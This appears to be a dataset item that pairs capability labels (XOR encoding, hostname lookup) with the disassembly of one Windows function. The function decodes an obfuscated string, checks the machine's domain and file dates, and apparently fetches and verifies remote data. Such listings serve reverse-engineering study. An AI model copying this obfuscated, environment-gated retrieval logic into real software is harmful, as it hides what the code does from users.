Function at 0x43d170
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573a97
mov eax, dword fs:[0]
push eax
sub esp, 0x63c
mov eax, dword [0x5bb250]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
cmp dword [0x5c42b8], 0
jne 0x43d885
push 0
mov dword [0x5c42b8], 1
call fcn.005458d1
add esp, 4
lea ecx, [eax + 0xa]
and ecx, 0xffffff00
cmp ecx, 0x55723000
jbe 0x43d885
add eax, 0x10
and eax, 0xfffffe00
cmp eax, 0x55b30000
jb 0x43d885
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x2d0], ax
lea eax, [ebp - 0x2ce]
push eax
call fcn.0053ca90
add esp, 0xc
mov dword [ebp - 0x5f8], 0x103
lea eax, [ebp - 0x5f8]
push eax
lea eax, [ebp - 0x2d0]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x43d23a
cmp word [ebp - 0x2d0], 0
jne 0x43d885
cmp word [0x5c0d90], 0
xorps xmm0, xmm0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x57c], 0
movdqu xmmword [ebp - 0x578], xmm0
movdqu xmmword [ebp - 0x568], xmm0
jne 0x43d279
push 0x103
push 0x5c0d90
push dword [0x5c13bc]
call esi
lea eax, [ebp - 0x57c]
push eax
push 0
push 0x5c0d90
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x43d885
lea eax, [ebp - 0x618]
mov dword [ebp - 0x618], 0
push eax
lea eax, [ebp - 0x568]
mov dword [ebp - 0x614], 0
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x514], ax
mov dword [ebp - 0x50a], eax
mov word [ebp - 0x506], ax
lea eax, [ebp - 0x514]
push eax
lea eax, [ebp - 0x618]
movq qword [ebp - 0x512], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov eax, dword [ebp - 0x514]
add eax, 0xfffff84e
cmp ax, 0x41
ja 0x43d885
movzx eax, word [ebp - 0x508]
mov dword [ebp - 0x504], eax
movzx eax, word [ebp - 0x50a]
mov dword [ebp - 0x500], eax
movzx eax, word [ebp - 0x50c]
mov dword [ebp - 0x4fc], eax
movzx eax, word [ebp - 0x50e]
mov dword [ebp - 0x4f8], eax
movzx eax, word [ebp - 0x512]
dec eax
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4f4], eax
movzx eax, word [ebp - 0x514]
sub eax, 0x76c
mov dword [ebp - 0x4e4], 0
mov dword [ebp - 0x4f0], eax
movzx eax, word [ebp - 0x510]
mov dword [ebp - 0x4ec], eax
lea eax, [ebp - 0x504]
push eax
call fcn.00547a61
add esp, 4
test eax, eax
je 0x43d885
lea ecx, [eax + 0xc]
and ecx, 0xffffff00
cmp ecx, 0x55722d00
jbe 0x43d885
add eax, 0xf
and eax, 0xfffffe00
cmp eax, 0x55b2fe00
jb 0x43d885
cmp word [0x5c0d90], 0
jne 0x43d3d7
push 0x103
push 0x5c0d90
push dword [0x5c13bc]
call esi
mov ecx, 0x5c0d90
call fcn.004171b0
test eax, eax
je 0x43d885
mov dword [ebp - 0x3c], 0xc3c7c7db
mov eax, 0x20
mov dword [ebp - 0x38], 0xdf9c9c89
mov dword [ebp - 0x34], 0x829dd4dc
mov dword [ebp - 0x30], 0xc6d98081
movdqu xmm0, xmmword [ebp - 0x3c]
mov dword [ebp - 0x2c], 0xdd9ddac9
mov dword [ebp - 0x28], 0xc19cc7d6
pxor xmm0, xmmword [0x5a5ec0]
mov dword [ebp - 0x24], 0x9cd5c0d6
mov dword [ebp - 0x20], 0x829c86c5
movdqu xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x1c], 0xd5dad49d
movdqu xmm0, xmmword [ebp - 0x2c]
mov byte [ebp - 0x18], 0
pxor xmm0, xmmword [0x5a5ec0]
movdqu xmmword [ebp - 0x2c], xmm0
xor byte [ebp + eax - 0x3c], 0xb3
inc eax
cmp eax, 0x24
jb 0x43d455
xor eax, eax
push 0x208
push eax
mov word [ebp - 0x4e0], ax
lea eax, [ebp - 0x4de]
push eax
call fcn.0053ca90
add esp, 0xc
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x4f8]
call fcn.004145d0
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 8
jb 0x43d49b
mov eax, dword [eax]
xorps xmm0, xmm0
mov dword [ebp - 0x540], eax
movdqu xmmword [ebp - 0x53c], xmm0
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x53c], 0x2710
movq qword [ebp - 0x51c], xmm0
mov dword [ebp - 0x538], eax
lea eax, [ebp - 0x540]
push eax
movdqu xmmword [ebp - 0x52c], xmm0
call fcn.00419d50
add esp, 4
mov dword [ebp - 4], 0xffffffff
test eax, eax
sete al
cmp dword [ebp - 0x4e4], 8
mov byte [ebp - 0x5f1], al
jb 0x43d510
push dword [ebp - 0x4f8]
call fcn.0053ba8c
mov al, byte [ebp - 0x5f1]
add esp, 4
test al, al
jne 0x43d885
mov dword [ebp - 0x544], 0xf
mov dword [ebp - 0x548], 0
mov byte [ebp - 0x558], al
lea eax, [ebp - 0x5f8]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x5fc]
mov dword [ebp - 0x5fc], 0
push eax
mov dl, 0x9c
mov dword [ebp - 0x5f8], 0
lea ecx, [ebp - 0x4e0]
call fcn.00431610
add esp, 8
test eax, eax
je 0x43d5af
mov esi, dword [ebp - 0x5fc]
test esi, esi
je 0x43d5af
cmp dword [ebp - 0x5f8], 0
je 0x43d5af
cmp byte [esi], 0
jne 0x43d58b
xor ecx, ecx
jmp 0x43d599
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d590
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x558]
call fcn.004072b0
push esi
call fcn.0053c06b
add esp, 4
cmp dword [ebp - 0x548], 0
jne 0x43d5c8
lea ecx, [ebp - 0x558]
call fcn.004066b0
jmp 0x43d885
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 2
call fcn.0040bf80
and dword [ebp - 0x608], 0xfffffe00
mov dword [ebp - 0x604], 0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x558]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00407180
cmp dword [ebp - 0x5b4], 0x10
lea ecx, [ebp - 0x5c8]
mov eax, dword [ebp - 0x5b8]
lea edx, [ebp - 0x610]
cmovae ecx, dword [ebp - 0x5c8]
push 1
add eax, ecx
push edx
push eax
push ecx
lea ecx, [ebp - 0x5f0]
call fcn.0040c2c0
test al, al
je 0x43d854
mov eax, dword [ebp - 0x608]
test al, al
je 0x43d651
cmp al, 7
jne 0x43d854
push 0
push str.feus
lea ecx, [ebp - 0x610]
call fcn.00405210
cmp byte [eax + 8], 4
jne 0x43d854
mov esi, dword [eax]
test esi, esi
je 0x43d854
cmp byte [esi], 0
je 0x43d854
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d685
sub ecx, edx
cmp ecx, 0x20
jne 0x43d854
mov edx, ecx
mov ecx, esi
call fcn.00431980
cmp eax, 0x5a9050c2
jne 0x43d854
push 0
push esi
lea ecx, [ebp - 0x610]
call fcn.00405210
cmp byte [eax + 8], 4
jne 0x43d854
mov edx, dword [eax]
test edx, edx
je 0x43d854
lea ecx, [ebp - 0x4f8]
call fcn.004145d0
mov byte [ebp - 4], 6
cmp dword [ebp - 0x4e8], 0
je 0x43d83d
xor eax, eax
push 0x208
push eax
mov word [ebp - 0x2d0], ax
lea eax, [ebp - 0x2ce]
push eax
call fcn.0053ca90
add esp, 0xc
lea eax, [ebp - 0x4f8]
cmp dword [ebp - 0x4e4], 8
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x640], xmm0
cmovae eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x644], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x63c], eax
lea eax, [ebp - 0x644]
push eax
movdqu xmmword [ebp - 0x630], xmm0
mov dword [ebp - 0x640], 0x493e0
movq qword [ebp - 0x620], xmm0
call fcn.00419d50
add esp, 4
test eax, eax
je 0x43d83d
push 0
push 0x5988e8
lea ecx, [ebp - 0x610]
call fcn.00405210
cmp byte [eax + 8], 4
jne 0x43d83d
mov edx, dword [eax]
test edx, edx
je 0x43d83d
lea ecx, [ebp - 0x52c]
call fcn.004145d0
cmp dword [ebp - 0x51c], 0
je 0x43d80d
xor eax, eax
push 0x7e
push eax
mov word [ebp - 0xc0], ax
lea eax, [ebp - 0xbe]
push eax
call fcn.0053ca90
add esp, 8
lea edx, [ebp - 0xc0]
lea ecx, [ebp - 0x2d0]
call fcn.004141d0
add esp, 4
test eax, eax
je 0x43d80d
cmp dword [ebp - 0x518], 8
lea eax, [ebp - 0x52c]
cmovae eax, dword [ebp - 0x52c]
push eax
lea eax, [ebp - 0xc0]
push eax
call fcn.0053d642
add esp, 8
test eax, eax
jne 0x43d80d
lea eax, [ebp - 0x2d0]
push eax
call fcn.00412670
add esp, 4
cmp dword [ebp - 0x518], 8
jb 0x43d824
push dword [ebp - 0x52c]
call fcn.0053ba8c
add esp, 4
xor eax, eax
mov dword [ebp - 0x518], 7
mov word [ebp - 0x52c], ax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x4e4], 8
jb 0x43d854
push dword [ebp - 0x4f8]
call fcn.0053ba8c
add esp, 4
lea ecx, [ebp - 0x610]
mov byte [ebp - 4], 3
call fcn.004042e0
lea ecx, [ebp - 0x5f0]
call fcn.0040e5f0
cmp dword [ebp - 0x544], 0x10
jb 0x43d885
push dword [ebp - 0x558]
call fcn.0053ba8c
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0053e21c
mov esp, ebp
pop ebp
ret